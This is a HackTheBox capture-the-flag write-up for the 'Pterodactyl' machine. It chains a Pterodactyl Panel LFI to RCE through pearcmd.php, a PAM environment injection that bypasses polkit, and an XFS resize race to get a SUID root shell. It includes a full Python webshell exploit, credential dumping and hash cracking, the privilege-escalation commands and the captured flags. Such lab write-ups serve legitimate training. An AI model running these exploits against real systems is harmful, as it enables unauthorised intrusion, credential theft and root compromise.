Pterodactyl
hackthebox
Task: HackTheBox Full Pwn machine with openSUSE Leap 15.6 and Pterodactyl Panel v1.11.10. Solution: Chain of three CVEs — LFI via pearcmd.php for RCE, PAM environment injection for polkit bypass, XFS resize race condition for SUID root shell.
$ ls tags/ techniques/
Pterodactyl — HackTheBox (Season 7 Full Pwn)
Description
HackTheBox Full Pwn machine. openSUSE Leap 15.6 с Pterodactyl Panel v1.11.10. Три CVE в цепочке: LFI → RCE → polkit bypass → race condition → root.
Target: 10.129.4.204 (HTB VPN)
OS: openSUSE Leap 15.6 (Kernel 6.4.0-150600.23.65-default, Btrfs)
Services: SSH (22), nginx (80), PHP-FPM (9000), MariaDB (3306), Redis (6379), Postfix (25)
Web: Pterodactyl Panel v1.11.10 on panel.pterodactyl.htb
Flag format: 32-char hex hashes
Analysis
Hard-level machine with a chain of three 2025 CVEs. Key characteristics:
- Pterodactyl Panel v1.11.10 — vulnerable to LFI via locale loading (CVE-2025-49132)
- openSUSE Leap 15.6 — PAM
user_readenv=1by default allows environment variable injection (CVE-2025-6018) - libblockdev 2.26 — race condition during XFS resize creates temporary mount without
nosuid(CVE-2025-6019) targetpwin sudoers — trap:sudo (ALL) ALLis useless without root password
Hint for privesc — email from headmonitor about "Unusual udisksd activity".
Solution
Step 1: Reconnaissance
nmap -sV -sC -p- 10.129.4.204 --open -T4
| Port | Service | Details |
|---|---|---|
| 22/tcp | SSH | OpenSSH |
| 80/tcp | nginx | Two vhosts: pterodactyl.htb (static), panel.pterodactyl.htb (Pterodactyl Panel) |
Pterodactyl Panel v1.11.10 identified on panel.pterodactyl.htb.
Step 2: Initial Access — CVE-2025-49132 (Pterodactyl Panel LFI → RCE)
Pterodactyl Panel v1.11.10 has unauthenticated LFI via endpoint /locales/locale.json — parameters locale and namespace allow path traversal.
Key technique: including pearcmd.php (/usr/share/php/PEAR/pearcmd.php on openSUSE) allows using PEAR config-create to write arbitrary PHP files.
Exploit rce.py (two-stage):
#!/usr/bin/env python3 """ CVE-2025-49132 — Pterodactyl Panel LFI via pearcmd.php Stage 1: Write PHP payload via pearcmd config-create to /var/tmp/ Stage 2: Include the written file via LFI to execute commands """ import requests import sys TARGET = "http://panel.pterodactyl.htb" def stage1_write_payload(): """Use pearcmd.php config-create to write PHP webshell to /var/tmp/""" # LFI to include pearcmd.php with config-create argument # pearcmd config-create writes arbitrary content to a file url = f"{TARGET}/locales/../../../../usr/share/php/PEAR/pearcmd.php" params = { # PEAR config-create <root_path> <filename> # root_path becomes the content of the config file "+config-create": "", "/<?php system($_GET['cmd']);?>": "", "/var/tmp/shell.php": "" } r = requests.get(url, params=params) return r.status_code == 200 def stage2_execute(cmd): """Include the written PHP file via LFI""" url = f"{TARGET}/locales/../../../../var/tmp/shell.php" r = requests.get(url, params={"cmd": cmd}) return r.text if __name__ == "__main__": stage1_write_payload() print(stage2_execute(sys.argv[1] if len(sys.argv) > 1 else "id"))
Result: RCE as wwwrun (uid 474, web server user on openSUSE).
Step 3: Post-Exploitation as wwwrun
Extracted information:
# Laravel .env — APP_KEY, DB credentials cat /var/www/pterodactyl/.env # → DB: pterodactyl:PteraPanel # Wings daemon config cat /etc/pterodactyl/config.yml # Users with shell grep -v nologin /etc/passwd # → root, headmonitor (uid 1001), phileasfogg3 (uid 1002)
MariaDB dump:
mysql -u pterodactyl -pPteraPanel -e "SELECT username,password FROM panel.users" # → bcrypt hashes for headmonitor and phileasfogg3
Configured SSH key for wwwrun → port forwarding to MariaDB (3306), Redis (6379), Postfix (25).
Step 4: User Flag — Cracking bcrypt Hash
User flag accessible via RCE: /home/phileasfogg3/user.txt
8b17af63d3760785fab2da25a546f528
Cracking phileasfogg3's password:
# Save hash echo 'phileasfogg3:$2y$10$...' > hash.txt # John the Ripper with rockyou.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Password: !QAZ2wsx — keyboard walk pattern (Shift+1, Shift+2... down the left side of keyboard).
ssh [email protected] # Password: !QAZ2wsx
Step 5: Enumeration as phileasfogg3
sudo -l # → (ALL) ALL, BUT with targetpw — requires ROOT password, not user's! # This is the default openSUSE sudoers configuration — a trap! # No SUID, no capabilities, no writable cron/systemd
Critical hint — email:
cat /var/mail/phileasfogg3 # → Email from headmonitor: # → "Unusual udisksd activity" + "apply pending updates"
This directly points to udisks2 as the privesc vector.
rpm -q udisks2 libblockdev # → udisks2 2.9.2 (with btrfs module) # → libblockdev 2.26
Step 6: Privilege Escalation Phase 1 — CVE-2025-6018 (PAM Environment Injection)
Vulnerability: On openSUSE Leap 15 / SUSE Linux Enterprise 15, the pam_env module reads ~/.pam_environment by default (user_readenv=1). pam_env executes BEFORE pam_systemd in the PAM stack.
Exploitation: Injecting XDG_SEAT=seat0 and XDG_VTNR=1 forces pam_systemd to assign a local seat to the SSH session → polkit grants allow_active (normally only for physical console).
# Create ~/.pam_environment echo 'XDG_SEAT OVERRIDE=seat0' > ~/.pam_environment echo 'XDG_VTNR OVERRIDE=1' >> ~/.pam_environment # Reconnect via SSH exit ssh [email protected]
Verification:
loginctl show-session $(loginctl | grep phileasfogg3 | awk '{print $1}') # → Seat=seat0 # → Active=yes
Now udisksctl loop-setup and udisksctl mount work without authentication!
Step 7: Privilege Escalation Phase 2 — CVE-2025-6019 (libblockdev XFS Resize Race)
Vulnerability: When calling Filesystem.Resize via D-Bus, the internal helper fs_mount() in libblockdev temporarily mounts the filesystem in /tmp/blockdev.XXXXXX WITHOUT nosuid/nodev flags. This is needed for XFS (xfs_growfs requires a mounted FS).
Important: btrfs resize was NOT supported by this version of udisks2 — XFS is the only correct choice.
Creating XFS payload image (entirely on target machine):
# Create 300MB XFS image (minimum size for mkfs.xfs) truncate -s 300M /tmp/xfs.image /sbin/mkfs.xfs -f /tmp/xfs.image # Patch root directory — make world-writable via xfs_db /usr/sbin/xfs_db -x /tmp/xfs.image -c 'inode 128' -c 'write core.mode 040777' # Mount via udisksctl, copy bash udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction # → /dev/loop0 udisksctl mount -b /dev/loop0 --no-user-interaction # → /run/media/phileasfogg3/<UUID> # Copy bash to image cp /bin/bash /run/media/phileasfogg3/<UUID>/bash chmod 4555 /run/media/phileasfogg3/<UUID>/bash # Unmount udisksctl unmount -b /dev/loop0 --no-user-interaction
Patching inode via xfs_db (key technique!):
# Patch bash inode — set owner=root and SUID bit # This works WITHOUT root privileges — we're writing directly to raw image! /usr/sbin/xfs_db -x /tmp/xfs.image <<'EOF' inode 131 write core.uid 0 write core.gid 0 write core.mode 0104555 quit EOF
Why xfs_db: File transfer to the machine was extremely slow/unreliable. Creating SUID root payload entirely on target machine via raw inode metadata patching — the only reliable method.
Executing the exploit:
# Kill gvfs to prevent auto-mount interference killall -KILL gvfs-udisks2-volume-monitor # Set up loop device udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction # Start race loop — will execute SUID bash when temp mount appears while true; do /tmp/blockdev*/bash -p -c 'sleep 10; id; cat /root/root.txt' 2>/dev/null && break done & # Trigger XFS resize via D-Bus — creates temp mount WITHOUT nosuid! gdbus call --system \ --dest org.freedesktop.UDisks2 \ --object-path /org/freedesktop/UDisks2/block_devices/loop0 \ --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
Result:
Error: ... Failed to unmount '/dev/loop0' after resizing it: target is busy
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
3e9f6b35b7b0189ee29c778c9b06ecf5
Resize "failed" because race loop keeps mount busy — but that's exactly what we need! SUID root bash executed with euid=0(root).
Mount verification:
/dev/loop0 on /tmp/blockdev.NJBTK3 type xfs (rw,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)
NO nosuid flag! — vulnerability confirmed.
Flags
User: 8b17af63d3760785fab2da25a546f528
Root: 3e9f6b35b7b0189ee29c778c9b06ecf5
Full Attack Chain
nmap → vhost discovery → Pterodactyl Panel v1.11.10
→ CVE-2025-49132: LFI via locale + pearcmd.php → RCE as wwwrun
→ .env leak → MariaDB dump → bcrypt hashes
→ john + rockyou → phileasfogg3:!QAZ2wsx → SSH
→ email hint: "unusual udisksd activity"
→ CVE-2025-6018: ~/.pam_environment → XDG_SEAT=seat0 → polkit allow_active
→ CVE-2025-6019: XFS image + xfs_db SUID patch → udisksctl mount
→ gdbus Filesystem.Resize → temp mount WITHOUT nosuid
→ race loop → SUID bash → euid=0 → root flag
Key Indicators
Use this technique/chain when:
- CVE-2025-49132: Pterodactyl Panel ≤ 1.11.10,
pearcmd.phpavailable on server - CVE-2025-6018: openSUSE Leap 15 / SUSE Linux Enterprise 15,
pam_envwithuser_readenv=1(default) - CVE-2025-6019: udisks2 with libblockdev ≤ 2.26, XFS support, polkit
allow_activeaccess - targetpw in sudoers:
sudo (ALL) ALLis useless — typical trap on openSUSE - Email hints: always read
/var/mail/*— often contains hints for privesc vector - xfs_db for SUID: when you need to create SUID root binary without root access — patching raw inode metadata in XFS image
Key Insights
- Email hint about "unusual udisksd activity" — direct pointer to privesc vector
targetpwin openSUSE sudoers makessudo (ALL) ALLuseless without root password — common trap- xfs_db for patching raw inode metadata — creating SUID root binary entirely on target machine without root privileges and without file transfer
- btrfs resize was NOT supported by this version of udisks2 — XFS is the only correct choice
- Race condition is very reliable —
sleep 10in race loop keeps mount busy long enough - Keyboard walk patterns (
!QAZ2wsx) — common pattern in CTF, worth adding to custom wordlists
References
- Qualys Advisory: SUSE 15 PAM + udisks LPE
- CVE-2025-6018: PAM environment injection on SUSE 15
- CVE-2025-6019: libblockdev filesystem resize race condition
- CVE-2025-49132: Pterodactyl Panel LFI
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pentest][free]WingData (Wing FTP RCE → Python tarfile PATH_MAX bypass)— hackthebox
- [infra][free]Expressway— hackthebox
- [infra][Pro]Подземелье (Dungeon)— hackerlab
- [infra][Pro]Kobold— hackthebox
- [pwn][free]Portaloo— hackthebox